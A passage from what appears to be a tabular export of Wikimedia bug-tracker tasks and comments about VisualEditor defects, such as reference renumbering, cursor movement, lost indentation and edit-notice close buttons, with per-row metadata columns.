+>  * Principally not as ugly as one might think, since TemplateData does this as well. Though TemplateData only uses that hardcoded value to discover related pages in the graphical interface. It is in no way enforced server-side or encouraged in its interface when inserting/editing template data.
+>  * We'd have to filter it client-side, which means the number of results shown is inconsistent. To avoid false positives with template names that actually end in ""/doc"", we'd only remove results if the other title is also in the list. (E.g. ""Template:Dac/duc/doc"" or something like that.)
+> * Filter out results that are transcluded in other results.
+>  * Requires an additional query somewhere, but might be a smart way to do it. We'd only omit results that are transcluded by others. So ""Template:Foo/doc"" would be omitted because according to the link tables, ""Template:Foo"" (also in the suggestions) transcludes ""Template:Foo/doc"". This doesn't work well because documentation pages themselves often make use of various other templates. So any template used in the preview, examples, or documentation would never show up in the suggestions.
+> * Filter out results that transclude template data.
+>  * Not sure how this would work, but since the same duplication is also present in the page-property index (which is where template data is stored), we can detect that Foo and Foo/doc both have (the same) template data. We may be able to de-duplicate results that way (and pick the one that sorts higher, or the one with a shorter name, aka not the helper page that tends to be a sub page).
+
+And of course {T56140} – which I'd say is the ideal solution. And is quite feasible to implement.",,,1431057318,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f6h4xzkjkkq4qb5rbp2j,task_subcomment,,True,c1,3,True,,,96,,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+54446,"VisualEditor: Copying and pasting the first reference on a page, then deleting the pasted reference results in ref ""0""","I was able to produce a reference labelled ""0"" in the VisualEditor using the following steps:
+
+1. Create a simple page with some text and a reference. (I've made an example at [[User:Mr. Stradivarius/ref0]].)
+2. Copy and paste the reference to somewhere else in the page.
+3. Delete the reference from the text that has just been copied and pasted.
+4. The first reference is automatically renumbered to ""0"".
+
+The numbering of the first is fixed (back to ""1"") if you delete the line of text that you were on, but if you add new lines of text the first reference remains laballed ""0"" even if the pasted line is subsequently removed. The numbering still starts at 0 if you add another reference, so you get ref ""0"", ref ""1"", etc.
+
+This is on Firefox 22.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375433040,1379656831.0,PHID-USER-rjtk3h6l2quifuajiime,False,,False,PHID-TASK-m6kobht7lswcgwklm5ra,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+234650,"VisualEditor: Copying and pasting the first reference on a page, then deleting the pasted reference results in ref ""0""","Confirming that this bug is now fixed, almost certainly in the re-write of copy-and-paste for nodes that happened for the 5 September release. Apologies for the slow triage at my end.",,,1379656831,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m6kobht7lswcgwklm5ra,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+234643,"VisualEditor: Copying and pasting the first reference on a page, then deleting the pasted reference results in ref ""0""","Also, this is just in the editing window. When the page is saved, the numbering returns to normal.",,,1375433127,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-m6kobht7lswcgwklm5ra,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+54445,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","When the first line of an article is a hatnote template that generates exactly 1 line of text in the visual editor, pressing down twice takes you to the end of the article. When the hatnote template generates more than one line then pressing down takes you to the end of the first line but no further.
+
+I have been unable to reproduce this with templates other than hatnotes. 
+
+Steps to reproduce (short hatnote):
+1. Load a page with a short hatnote in VE, e.g. [[Laurence of Canterbury]]
+2. Press the down cursor twice
+
+Expected behaviour: you end up on the third line of the page
+Actual behaviour: you end up on the last line of the page
+
+Steps to reproduce (long hatnote):
+1. Load a page with a long hatnote in VE, e.g. [[An American in Paris]]
+2. Press the down cursor three or more times.
+
+Expected behaviour: you end up on the third or fourth etc. line of the page
+Actual behaviour: you end up at the end of the first line of the hatnote.
+
+Sandbox pages to test:
+Long hatnote: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=566827194&veaction=edit
+Short hatnote: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=566827110&veaction=edit
+
+This might be related to bug 51708
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51708",Medium,50.0,1375432860,1380754670.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+234608,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","Have tested this again, and I believe we have fixed this bug as reported, as part of the re-writing of how ContentEditable reacts to cursor events. However, I think I've found another bug semi-related, so will open that.",,,1380754670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+234601,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","My testing was in Monobook in Firefox 22 on Linux.
+The original reporter was using Monobook in Firefox 22 on Windows 7.
+Rybec comments that they can reproduce it in some pages (e.g. my sandbox) but not others (e.g. [[Laurence of Canterbury]]) using Firefox ESR on Linux.
+
+It's starting to look like it might be a Firefox-only bug.",,,1375477103,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+234594,"VisualEditor: Firefox up-down cursoring around aliens is broken, takes user to end of page sometimes","I have been unable to reproduce this at all on all of the linked pages, with both Monobook and Vector on Chrome, Win7.",,,1375475936,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-k3hxvwskpoy3zkxaliwa,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+54440,"The on-page notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices, unlike all the other status notes","Flagged Revisions provides a number of edit notices about the status of the page being edited, but this one (about the status of the transcluded components thereof) isn't. This feels wrong. It also means VisualEditor can't warn people about it.
+
+--------------------------
+**Version**: master
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52280",Medium,50.0,1375423920,1422041644.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-TASK-d3wa2dbg66dt5t24advb,task_description,duplicate,True,c1,3,True,False,False,4,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+54436,VisualEditor: Link inspector should have bottom margin to avoid cutting the page (UX),"Screenshot of problem
+
+When the link inspector is fairly tall and the space somewhat narrow (e.g. a red link, 10 suggestions in the inspector, and the link itself is towards the bottom of the screen), the box will expand further than the page goes (triggering a scrollbar if needed).
+
+That's fine, except that it is hard to see for the user whether there is more or not. Especially with OSX hiding scroll bars by default.
+
+There should be some bottom margin so that it can be clearly seen that the bottom of the list is the bottom, ans eparated from the bottom of the (now expanded) page.
+
+See attached screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11124}",Medium,50.0,1375410180,1428490652.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-pzog36r24v5pdzjqcxdr,task_description,resolved,True,c1,3,True,False,False,4,,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+233991,VisualEditor: Link inspector should have bottom margin to avoid cutting the page (UX),We have similar logic in the dropdown menus and dialogs already. They never touch the bottom of the window.. No Touching!,,,1403712107,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pzog36r24v5pdzjqcxdr,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+54399,"VisualEditor: Extending an existing DL-indentation renders correctly in CE, but doesn't come through on save","Pressing enter at the end of a colon indented line and typing more text displays as an indented, but, on save, (and review changes) the colon has not been added to the new line.
+
+Steps to reproduce:
+
+0. Start with a simple colon indented section. (See here: http://en.wikipedia.org/w/index.php?title=User:Markhurd/Sandbox&oldid=566721115 )
+1. Edit with VE.
+2. Click at end of last indented line.
+3. Press Enter. Note this displays as continuing the indentation.
+4. Type some text.
+5. Save. Note that the colon is not included. (You can see it missing with Show Changes.)
+
+My diff: http://en.wikipedia.org/w/index.php?title=User:Markhurd/Sandbox&diff=566721183&oldid=566721115
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375368960,,PHID-USER-fgul5wwrgbtdpd5fved3,False,,False,PHID-TASK-jgayasapvffxzhq5zq6a,task_description,open,True,c1,3,False,False,,4,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+459942,"VisualEditor: Extending an existing DL-indentation renders correctly in CE, but doesn't come through on save",This does seem to be fixed: https://en.wikipedia.org/w/index.php?title=User:Markhurd/Sandbox&diff=662749142&oldid=646642979,,,1431858171,,PHID-USER-fgul5wwrgbtdpd5fved3,False,,,PHID-TASK-jgayasapvffxzhq5zq6a,task_subcomment,,True,c1,3,False,,,97,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+257099,"VisualEditor: Extending an existing DL-indentation renders correctly in CE, but doesn't come through on save","Created attachment 13202
+VE shows the new text as indented, but it isn't
+
+I've just reproduced this in Firefox 23/Linux/Monobook. The screenshot shows how VE displayed it, the dif showing what was actually saved is: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=570859913&oldid=570858997
+
+The trailing blank lines are bug 50995, and this may be an artefact of the same bug as the displayed blank lines do not exist in the source.
+
+**Attached**: {F11963}",,,1377896791,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jgayasapvffxzhq5zq6a,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+54386,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"It isn't obvious to all users that clicking on the warning about Wikitext will make it disappear.
+
+For example, PamD at en.wp said:
+""I edited an article and found I'd got the popup saying I'd been using wiki markup, I should go into Edit Source, my edits wouldn't be saved, etc. I knew I'd input a pair of ''s at one time but had then remembered the error of my ways, removed them, and marked the title as italic in VE style, so was pretty confident I hadn't used any wiki markup and went ahead and saved the edit (difficult because the popup was sitting on top of the savepage box).""
+
+The main issue there is Bug 52155, but after being pointed to that bug she replied:
+
+""so if I'd clicked on the box it would have gone away... ? Not obvious!""
+
+It would be good to add an X in the upper right corner to indicate that it can be closed. This wouldn't change the behaviour that clicking anywhere on the box dismisses it, just give a visual indication that it can be done.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51701
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52462",Medium,50.0,1375356660,1380932424.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-6ytamqsj45kuhfs22bx4,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+256368,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"Change 87034 merged by jenkins-bot:
+Toolbar action widgetization and UI refactoring
+
+https://gerrit.wikimedia.org/r/87034",,,1380932250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+256359,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"Change 87034 had a related patch set uploaded by Jforrester:
+Toolbar action widgetization and UI refactoring
+
+https://gerrit.wikimedia.org/r/87034",,,1380844342,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+256351,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"Rephrased bug to not mention ""wikitext message"". Instead focussing on notices that pop out of the toolbar, which are indeed created by VisualEditor.",,,1380728868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+256343,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"These alerts are rendered by a MediaWiki core interface. VisualEditor just calls mw.notify. It does not and should not be modifying those alerts by other means.
+
+Please file a bug in core for this (or move/depends-on this bug).",,,1380728803,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+256335,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"en.wp user Mark M comments re the wikitext warning:
+""It wasn't obvious to me how to get rid of the notice. In fact, it popped up and partially cover the ""save"" button in such a way that when I tried to click save, nothing happened, and the notice was still there! For a few seconds I thought I wouldn't be able to save my changes at all, even though I'd removed the wikitext. Fortunately I kept clicking nearby (in frustration) and the notice disappeared. But I would have been helped if there had simply been a ""dismiss"" button, or something similar, that indicates you should click on it to dismiss it. This wasn't obvious to me.""",,,1376486603,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,6,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+256329,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"There have been two independent requests for this today on en.wp (one reporting an issue on he.wp).
+
+It was also noted that the close indication should be applied to edit notice popus too.",,,1375816630,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+54371,VisualEditor: <references /> not fully populated but {{reflist}} is,"In some cases it seems that <references /> is not fully populating the references list while {{reflist}} does.
+Example at: At https://en.wikipedia.org/w/index.php?title=Christian_Scott&oldid=566681769
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50094",Medium,50.0,1375341060,1386608699.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-cjrfpthlsv4urm5hyivq,task_description,declined,True,c1,3,False,False,False,4,,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+255166,VisualEditor: <references /> not fully populated but {{reflist}} is,Both lists have the same references for me. Please re-open if you think there is still a problem.,,,1386608699,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+255160,VisualEditor: <references /> not fully populated but {{reflist}} is,"Hi Chris, what I see there is the entire section being duplicate, in both view and edit mode. I am probably missing something :)",,,1378988819,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,False,,,10,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+255154,VisualEditor: <references /> not fully populated but {{reflist}} is,"Not a duplicate, AFAICT.",,,1375381795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+255149,VisualEditor: <references /> not fully populated but {{reflist}} is,"
+
+%%%*** This bug has been marked as a duplicate of bug 50094 ***%%%",,,1375381498,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+54365,Explore performance gains from progressive (JIT?) de-alienation in VisualEditor,"Random idea that might improve load performance: initially alienate the entire document, then progressively convert and dealienate it. This should bring the editor into view quickly and allow the first paragraph to be edited quickly while the rest of the page is still processing.
+
+Possible pitfall: reference numbering and other crazy stuff in MWReferenceNode
+
+See {T76544} for the same idea, but for content blocks.",Medium,50.0,1375323540,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vpvtoerhlbprn6ollnkr,task_description,open,True,c1,3,False,False,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+54352,VisualEditor: <tt> annotations should be handled by the <code> annotation code,"en.wp user Cryptic C62 comments:
+""Take a look at the text this page. The first two sentences may appear to be identical. If one activates VE, one will find that the first sentence (which employs <tt>) cannot be edited, but the second one (which employs <code>) can. My question is this: If the editor is supposed to be visually intuitive, why are two (almost) visually identical elements handled differently? ""
+
+The page referred to is: https://en.wikipedia.org/w/index.php?title=User:Cryptic_C62/sandbox&oldid=566625027
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375304640,1375933962.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-sug5dsmkfrgqkbno76mo,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+254224,VisualEditor: <tt> annotations should be handled by the <code> annotation code,"Change 77389 merged by jenkins-bot:
+Handle <tt> as textStyle/code
+
+https://gerrit.wikimedia.org/r/77389",,,1375933535,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sug5dsmkfrgqkbno76mo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+254217,VisualEditor: <tt> annotations should be handled by the <code> annotation code,"Change 77389 had a related patch set uploaded by Esanders:
+Handle <tt> as textStyle/code
+
+https://gerrit.wikimedia.org/r/77389",,,1375476734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sug5dsmkfrgqkbno76mo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+54345,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"It is possible to insert a substituted template (by just putting in ""subst:whatever"" as its name). This will be saved correctly (substituted), but the diff shown in the review dialog shows the non-substituted wikitext.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53201",Medium,50.0,1375301760,1398283331.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-l6tecg3euv7s6vvgap3i,task_description,resolved,True,c1,3,True,False,False,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+253863,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Change 129251 merged by jenkins-bot:
+Apply PST when generating diff
+
+https://gerrit.wikimedia.org/r/129251",,,1398283390,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l6tecg3euv7s6vvgap3i,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+253860,VisualEditor: API does not apply PST (pre-save transform) when generating its diff,"Change 129251 had a related patch set uploaded by Alex Monk:
+Apply PST when generating diff
+
